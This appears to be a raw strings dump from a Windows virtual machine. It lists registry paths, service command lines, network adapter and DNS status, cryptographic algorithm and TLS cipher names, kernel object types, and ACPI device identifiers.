SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Cache SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Cache SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet\ManualProxies SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet\ManualProxies SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator\CorporateConnectivity SOFTWARE\Policies\Microsoft\Windows\NetworkConnectivityStatusIndicator\CorporateConnectivity Windows.Networking.Connectivity.NetworkInformationPrivate Windows.Networking.Connectivity.NetworkInformation Windows.Networking.Connectivity.NetworkInformationPrivate Ethernet0 Ethernet0 null Windows.Networking.Connectivity.NetworkInformation Windows.Networking.Connectivity.NetworkInformationPrivate Ethernet0 Ethernet0 null 192.168.27.2 Windows.Networking.Connectivity.NetworkInformationPrivate {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} Windows.Networking.Connectivity.NetworkInformation {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} SruWorkItemQueryProvider:ProviderQueryStats SruWorkItemQueryProvider:ProviderQueryStats Windows.Networking.Connectivity.NetworkInformation Windows.Networking.Connectivity.NetworkInformationPrivate Ethernet0 Ethernet0 null C:\WINDOWS\System32\svchost.exe Ethernet0 Ethernet0 null NULL NULL NP_EV_NETWORK_GLOBAL_STATE_CHANGE Ethernet0 Ethernet0 null Windows.Networking.Connectivity.NetworkInformationPrivate {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} Windows.Networking.Connectivity.NetworkInformationPrivate Network Network {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} Ethernet0 Ethernet0 null tNetwork Internet access {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy wifiData S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\conhost.exe \Device\HarddiskVolume3\Windows\System32\ipconfig.exe 127.0.0.1 fe80::538c:487e:a878:6055 \Device\HarddiskVolume3\Windows\System32\taskhostw.exe \Device\HarddiskVolume3\Windows\System32\cmd.exe MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy \device\harddiskvolume3\windows\system32\backgroundtaskhost.exe webthreatdefusersvc_3f7d0 None None WpnUserService_3f7d0 None None CDPUserSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup CDPUserSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup Null TokenBroker TokenBroker C:\WINDOWS\system32\svchost.exe -k netsvcs -p TokenBroker None None Null MSDTC C:\WINDOWS\System32\msdtc.exe TokenBroker C:\WINDOWS\system32\svchost.exe -k netsvcs -p Null sppsvc KeyIso None None Null KeyIso C:\WINDOWS\system32\lsass.exe MSDTC C:\WINDOWS\System32\msdtc.exe Null CDPSvc C:\WINDOWS\system32\svchost.exe -k LocalService -p sppsvc None None sppsvc C:\WINDOWS\system32\sppsvc.exe sppsvc C:\WINDOWS\system32\sppsvc.exe C:\WINDOWS\system32\userinit.exe, MSDTC C:\WINDOWS\System32\msdtc.exe Null V_0| AppReadiness Null \3&r Appinfo Appinfo C:\WINDOWS\system32\svchost.exe -k netsvcs -p Appinfo C:\WINDOWS\system32\svchost.exe -k netsvcs -p MSDTC C:\WINDOWS\System32\msdtc.exe DiagTrack C:\WINDOWS\System32\svchost.exe -k utcsvc -p MSDTC C:\WINDOWS\System32\msdtc.exe MSDTC C:\WINDOWS\System32\msdtc.exe WinDefend "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe" MSDTC C:\WINDOWS\System32\msdtc.exe MSDTC C:\WINDOWS\System32\msdtc.exe Null PCIZ Null InstallService C:\WINDOWS\System32\svchost.exe -k netsvcs -p Null LicenseManager C:\WINDOWS\system32\svchost.exe -k LocalService -p LicenseManager None None C:\WINDOWS\system32\vssvc.exe C:\WINDOWS\system32\vssvc.exe LicenseManager C:\WINDOWS\system32\svchost.exe -k LocalService -p ClipSVC None None ClipSVC C:\WINDOWS\system32\svchost.exe -k wsappx -p 015Z Null WSearch WSearch None None Null WSearch C:\WINDOWS\system32\SearchIndexer.exe /Embedding UnistoreSvc_3f7d0 None None WSearch C:\WINDOWS\system32\SearchIndexer.exe /Embedding UnistoreSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup UnistoreSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup UserDataSvc_3f7d0 None None Null UserDataSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup Null StorSvc AppXSvc C:\WINDOWS\system32\svchost.exe -k wsappx -p StorSvc C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p StorSvc C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p StorSvc None None Null Null PimIndexMaintenanceSvc_3f7d0 PimIndexMaintenanceSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup PimIndexMaintenanceSvc_3f7d0 None None Null AppXSvc C:\WINDOWS\system32\svchost.exe -k wsappx -p AppXSvc C:\WINDOWS\system32\svchost.exe -k wsappx -p PimIndexMaintenanceSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup PimIndexMaintenanceSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UnistackSvcGroup ACPp Null cbdhsvc_3f7d0 AppXSvc C:\WINDOWS\system32\svchost.exe -k wsappx -p cbdhsvc_3f7d0 None None Null WdiSystemHost None None Null cbdhsvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k ClipboardSvcGroup -p Null verp PcaSvc PcaSvc C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p PcaSvc None None Null rt\Z Null UdkUserSvc_3f7d0 UdkUserSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UdkSvcGroup UdkUserSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UdkSvcGroup Null C:\WINDOWS\system32\svchost.exe {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} Windows.Networking.Connectivity.NetworkInformation Windows.Networking.Connectivity.NetworkInformationPrivate Windows.Networking.Connectivity.NetworkInformationPrivate Windows.Networking.Connectivity.NetworkInformationPrivate Windows.Networking.Connectivity.NetworkInformationPrivate Ethernet0 Ethernet0 null Ethernet0 Ethernet0 null {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} Ethernet0 Ethernet0 null {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} Windows.Networking.Connectivity.NetworkInformationPrivate {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} Windows.Networking.Connectivity.NetworkInformationPrivate Ethernet0 Ethernet0 null {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} SruWorkItemQueryProvider:ProviderQueryStats {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} C:\WINDOWS\system32\svchost.exe S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy cellularData S-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy pS-1-5-21-3914889805-4071901059-918772286-1001 MicrosoftWindows.Client.CBS_cw5n1h2txyewy JetSeek SruDbPrepareSearchByIndexRange JetSeek SruDbPrepareSearchByIndexRange Windows.Networking.Connectivity.NetworkInformation Windows.Networking.Connectivity.NetworkInformationPrivate Windows.Networking.Connectivity.NetworkInformationPrivate C:\WINDOWS\system32\svchost.exe Ethernet0 Ethernet0 null Ethernet0 Ethernet0 Ethernet Ethernet User {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Ethernet0 Ethernet Ethernet0 Ethernet0 null Ethernet0 Ethernet0 Ethernet Ethernet0 Ethernet0 Ethernet Ethernet NotTracked {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} C:\WINDOWS\system32\svchost.exe SruWorkItemQueryProvider:ProviderQueryStats Windows.Networking.Connectivity.NetworkInformation Windows.Networking.Connectivity.NetworkInformationPrivate Ethernet0 Ethernet0 null Windows.Networking.Connectivity.NetworkInformation Ethernet0 Ethernet Ethernet0 Ethernet0 Ethernet Ethernet NotTracked Network Network tNetwork Internet access {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} 192.168.27.2 NULL {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Ethernet User {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Ethernet0 Ethernet Ethernet Ethernet NotTracked C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe NULL DNS_ALL_SERVER_TIMEOUT Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 DNS_ALL_SERVER_TIMEOUT Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Windows.Networking.Connectivity.NetworkInformation DNS_ALL_SERVER_TIMEOUT Intel(R) 82574L Gigabit Network Connection Intel Corporation PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 e1i68x64 \SystemRoot\System32\drivers\e1i68x64.sys 12.19.1.32 12.19.1.32 192.168.27.2 00:50:56:EF:6F:0C 192.168.27.2 Error: 10022 00:00:00:00:00:00 Error: 10022 NULL {E33FA66E-DBEC-40A2-8AA4-E7C085F48539} C:\WINDOWS\system32\svchost.exe NULL NULL 192.168.27.254 192.168.27.2 192.168.27.140 192.168.27.2 192.168.27.140 192.168.27.2 localdomain localdomain localdomain localdomain NP_EV_INTERFACE_DISCONNECTED NP_EV_NETWORK_SIGNATURE_DISCONNECTED NP_EV_NETWORK_PROFILE_DISCONNECTED {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} fec0:0:0:ffff::1 fec0:0:0:ffff::2 fec0:0:0:ffff::3 Unidentified network ProxyRedetection ProxyRedetection ProxyRedetection localdomain onecore\net\netprofiles\service\src\l3manager\lib\l3manager.cpp(1655)\netprofmsvc.dll!00007FFC7255E8D1: (caller: 00007FFC7252B68F) Exception(16) tid(7f0) 80070490 Element not found. {3F353D22-1EA4-4815-91FB-DADCE4DFD0BD} GaveUp localdomain localdomain PerInterfaceWithProxy Initial PerInterfaceWithProxy Initial ActiveInternetProbe.Http ActiveInternetProbe.Http SWD\RADIO\{3DB5895D-CC28-44B3-AD3D-6F01A782B8D2} \\?\hid#vid_0e0f&pid_0003&mi_00#8&217ccb29&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\hid#vid_0e0f&pid_0003&mi_01#8&34ace767&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\hid#vid_0e0f&pid_0003&mi_00#8&217ccb29&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\hid#vid_0e0f&pid_0003&mi_01#8&34ace767&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\hid#vid_0e0f&pid_0003&mi_00#8&217ccb29&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\hid#vid_0e0f&pid_0003&mi_01#8&34ace767&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} Misc SystemRadioState SystemRadioStateIgnored {1910E202-236A-43E6-9469-FE0B3149F3D9} {3F9FF9AB-AC3E-40BB-BBC9-27B648AD1FB2} {6b19c2a9-50ba-4275-b99b-13dcf69b9f19} {833A69FB-5E17-4893-85A5-1EF469217372} \\?\hid#vid_0e0f&pid_0003&mi_00#8&217ccb29&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} \\?\hid#vid_0e0f&pid_0003&mi_01#8&34ace767&0&0000#{4d1e55b2-f16f-11cf-88cb-001111000030} Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.EthernetMediaManager 9Identifying... SP800_108_CTR_HMAC SP800_56A_CONCAT PBKDF2 CAPI_KDF TLS1_1_KDF TLS1_2_KDF HKDF SP800_108_CTR_HMAC SP800_56A_CONCAT PBKDF2 CAPI_KDF TLS1_1_KDF TLS1_2_KDF HKDF SP800_108_CTR_HMAC SP800_56A_CONCAT PBKDF2 CAPI_KDF TLS1_1_KDF TLS1_2_KDF HKDF TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 Microsoft Software Key Storage Provider TLS_DHE_DSS_WITH_AES_128_CBC_SHA TLS_DHE_DSS_WITH_DES_CBC_SHA TLS_PSK_WITH_AES_256_CBC_SHA384 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 TLS_RSA_EXPORT_WITH_RC4_40_MD5 TLS_RSA_WITH_AES_128_CBC_SHA256 Microsoft Key Protection Provider TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA TLS_RSA_EXPORT1024_WITH_RC4_56_SHA TLS_CHACHA20_POLY1305_SHA256 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA TLS_RSA_WITH_3DES_EDE_CBC_SHA TLS_DHE_RSA_WITH_AES_256_CBC_SHA TLS_DHE_RSA_WITH_AES_128_CBC_SHA TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA Microsoft Primitive Provider TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA TLS_PSK_WITH_AES_256_GCM_SHA384 Microsoft Platform Crypto Provider TLS_PSK_WITH_AES_128_GCM_SHA256 TLS_DHE_DSS_WITH_AES_256_CBC_SHA TLS_RSA_WITH_AES_128_CBC_SHA TLS_RSA_WITH_AES_128_GCM_SHA256 TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 TLS_PSK_WITH_AES_128_CBC_SHA256 Microsoft SSL Protocol Provider Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.RasMediaManager Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.DAMediaManager Ethernet0 Network pcshell\shell\cloudrestorelauncher\dll\dll.cpp(169)\CloudRestoreLauncher.dll!00007FFC3C3070D5: (caller: 00007FFC7BCE88C5) Exception(1) tid(19a4) 80040111 ClassFactory cannot supply requested class Windows.Networking.UX.Internal.RasMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Network Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.RasMediaManager Windows.Networking.UX.Internal.WlanMediaManager Network Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.RasMediaManager Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Windows.Networking.UX.Internal.DAMediaManager Windows.Networking.UX.Internal.EthernetMediaManager Ethernet0 Windows.Networking.UX.Internal.EthernetMediaManager Ethernet0 Network S-1-5-21-3914889805-4071901059-918772286-1001 SHA256 SHA384 SHA512 SHA1 AES-GMAC AES-CMAC SHA3-256 SHA3-384 SHA3-512 CSHAKE128 CSHAKE256 KMAC128 KMAC256 SHAKE128 SHAKE256 \ObjectTypes\Type \ObjectTypes\Directory \ObjectTypes\SymbolicLink \ObjectTypes\Token \ObjectTypes\Session \ObjectTypes\Job \ObjectTypes\Process \ObjectTypes\Thread \ObjectTypes\Partition \ObjectTypes\UserApcReserve \ObjectTypes\IoCompletionReserve \ObjectTypes\ActivityReference \ObjectTypes\ProcessStateChange \ObjectTypes\ThreadStateChange \ObjectTypes\CpuPartition \ObjectTypes\SchedulerSharedData \ObjectTypes\PsSiloContextPaged \ObjectTypes\PsSiloContextNonPaged \ObjectTypes\DebugObject \ObjectTypes\Event \ObjectTypes\Mutant \ObjectTypes\Callback \ObjectTypes\Semaphore \ObjectTypes\Timer \ObjectTypes\IRTimer \ObjectTypes\Profile \ObjectTypes\KeyedEvent \ObjectTypes\WindowStation \ObjectTypes\Desktop \ObjectTypes\Composition \ObjectTypes\RawInputManager \ObjectTypes\CoreMessaging \ObjectTypes\ActivationObject \ObjectTypes\TpWorkerFactory \ObjectTypes\Adapter \ObjectTypes\Controller \ObjectTypes\Device \ObjectTypes\Driver \ObjectTypes\IoCompletion \ObjectTypes\WaitCompletionPacket \ObjectTypes\File \ObjectTypes\IoRing \ObjectTypes\TmTm \ObjectTypes\TmTx \ObjectTypes\TmRm \ObjectTypes\TmEn \ObjectTypes\ALPC Port \ObjectTypes\Section \ObjectTypes\Key \ObjectTypes\RegistryTransaction \ObjectTypes\DmaAdapter \ObjectTypes\EnergyTracker \ObjectTypes\PowerRequest \ObjectTypes\WmiGuid \ObjectTypes\EtwRegistration \ObjectTypes\EtwSessionDemuxEntry \ObjectTypes\EtwConsumer \ObjectTypes\CoverageSampler \FileSystem\Ntfs 00010001 00000006 00010002 3DES cng.sys KeyLength scksp.dll Local 00000001 00000001 00010002 00000008 00000003 Domain KeyLength DESX Default KeyLength 00010003 00010004 00000005 3DES_112 00000007 00010001 00000004 Default 00000002 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_1 ACPI\GenuineIntel_-_Intel64_Family_6_Model_186_-_13th_Gen_Intel(R)_Core(TM)_i7-1370P\_0 SWD\DRIVERENUM\{96bedf2c-18cb-4a15-b821-5e95ed0fea61}#VocaEffectPack&1&1339c6b5&0 AES-GMAC ECDH KeyLength KeyLength SHA384 CSHAKE256 KMAC128 SHA3-384 KeyLength ECDH_P384 00000002 AES-CMAC SHAKE256 SHA256 KeyLength KMAC256 SHA3-512 SHA3-256 CSHAKE128 SHAKE128 ECDH_P256 XTS-AES 00000004 KeyLength SHA512 KeyLength 00000003 SHA1 Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider KEY_STORAGE intelpep amdwps.sys IntelPMT.sys \Driver\amdwps intelpep.sys IntelPMT \Driver\ACPI 00000006 DUALECRNG KeyLength PBKDF2 ECDSA_P384 00010002 TLS1_2_KDF KeyLength 00010001 00000005 KEY_STORAGE ML-DSA ECDSA_P521 KeyLength 00000008 KeyLength TLS1_1_KDF KeyLength ECDH_P521 ECDSA KeyLength ML-KEM HKDF ECDSA_P256 KeyLength CAPI_KDF 00000007 RSA_SIGN Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider SP800_56A_CONCAT Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider SP800_108_CTR_HMAC Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider Microsoft Primitive Provider FIPS186DSARNG FIPS186DSARNG DUALECRNG Microsoft Primitive Provider Microsoft Primitive Provider COM+ Active Process Iteration Server C:\Windows\System32\comsvcs.dll c:\windows\system32\gpsvc.dll 385250.5UCPD - Top Instance Null.SYS 385250.5 \Device\Mailslot\FileSystem\Msfs\Device\Mailslot Microsof AED3EA3C3C85} \Device\NetBT_Tcpip6_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} e\Tcpip6_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} i8042prt.sys CompositeBus.sys DMicrosoft Teredo Tunneling Adapter RDMANDK pacer.sys winhvr.sys Virtual WiFi Filter Driver{5CBF81BF-5055-47CD-9055-A76B2B4E3698}vwififlt vwififlt.sys \Device\vwififlt \DosDevices\vwififlt QoS Packet Scheduler{B5F4D659-7DAA-4565-8E41-BE220ED60542}Psched \Device\Psched \DosDevices\Psched netbios.sys \Device\NetBt_Wins_Export \Device\NetBt_Wins_Bind \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NetBT \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Psched AES-GMAC Microsoft Primitive Provider cng.sys \??\PCI#VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00#3&61aaa01&0&78#{1024e4c9-47c9-48d3-b4a8-f9df78523b53} \??\PCI#VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00#3&61aaa01&0&78#{1ca05180-a699-450a-9a0c-de4fbe3ddd89} VMware-56 4d 43 50 f7 aa 8d ad-df 88 f6 92 88 1b 6c 9b MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default SUUT MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default \Device\HarddiskVolume3\Windows\System32\fontdrvhost.exe \Device\HarddiskVolume3\Windows\System32\fontdrvhost.exe MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default MPSSVC Stores filter origin Boottime Default P0501 P0A05 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0501 P0501 P0A05 P0C80 P0C80 P0501 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0501 P0C80 P0C80 P0501 P0A05 P0501 P0C80 P0C80 P0C80 P0C80 P0501 P0C80 P0C80 P0C80 P0C80 P0A05 P0501 P0501 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0501 P0C80 P0C80 P0501 P0501 P0C80 P0501 P0501 P0C80 P0C80 P0C80 P0501 P0C80 P0C80 P0501 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0501 P0C80 P0C80 P0C80 P0501 P0C80 P0C80 P0A05 P0501 P0C80 P0C80 P0501 P0C80 P0C80 P0C80 P0A05 P0C80 P0501 P0501 P0C80 P0C80 P0C80 P0400 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0501 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0501 P0A05 P0C80 P0C02 P0C80 P0C80 ACPI\PNP0A05\12 P0C80 P0001 P0A05 P0C80 P0800 P0100 P0C80 W0001 P0C02 P0A05 P0A05 P0A05 P0C80 P0A03 P0C02 P0C80 P0C80 P0303 P0C80 W0003 P0C80 P0C80 P0200 P0501 P0B00 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0001 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0103 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0A05 P0C80 P0C80 P0A05 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0700 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0A05 ACPI\PNP0A05\11 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 ACPI\PNP0A05\13 W0004 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 ACPI\ACPI0003\1 P0C80 P0C80 P0A05 P0C0A P0A05 P0C0A \_SB.L1M2 P0C80 W0005 P0C80 \_SB.L1M1 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 ACPI\PNP0A05\10 W0002 P0C80 \_SB.L1M4 P0C80 I0003 P0C80 P0C80 P0C80 \_SB.L1M0 P0C80 P0C80 P0C80 P0C0D P0C80 T0E0C P0C80 P0C80 P0C80 P0C80 P0C80 ACPI\PNP0A05\14 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C0E P0C80 P0A05 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0A05 P0A05 P0A05 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0A05 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0C80 P0A05 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0A05 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C0F P0C80 P0A05 P0C80 P0C0F \_SB.L1M3 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C0F P0C0F P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C80 P0C02 P0C80 P0501 P0C80 P0501 P0A05 P0A05 P0C80 P0C80 P0501 P0C80 P0C80 P0C80 P0C80 P0501 P0C80 P0C80 P0C80 P0C80 P0C80 P0400 P0A05 P0C80 P0C80 P0C80 P0C80 P0C80 P0400 P0C80 P0C80 P0A05 P0C80 P0C80 P0C80 P0C80 P0501 P0C80 P0C80 P0C80 P0501 P0501 P0C80 P0501 P0C80 P0C80 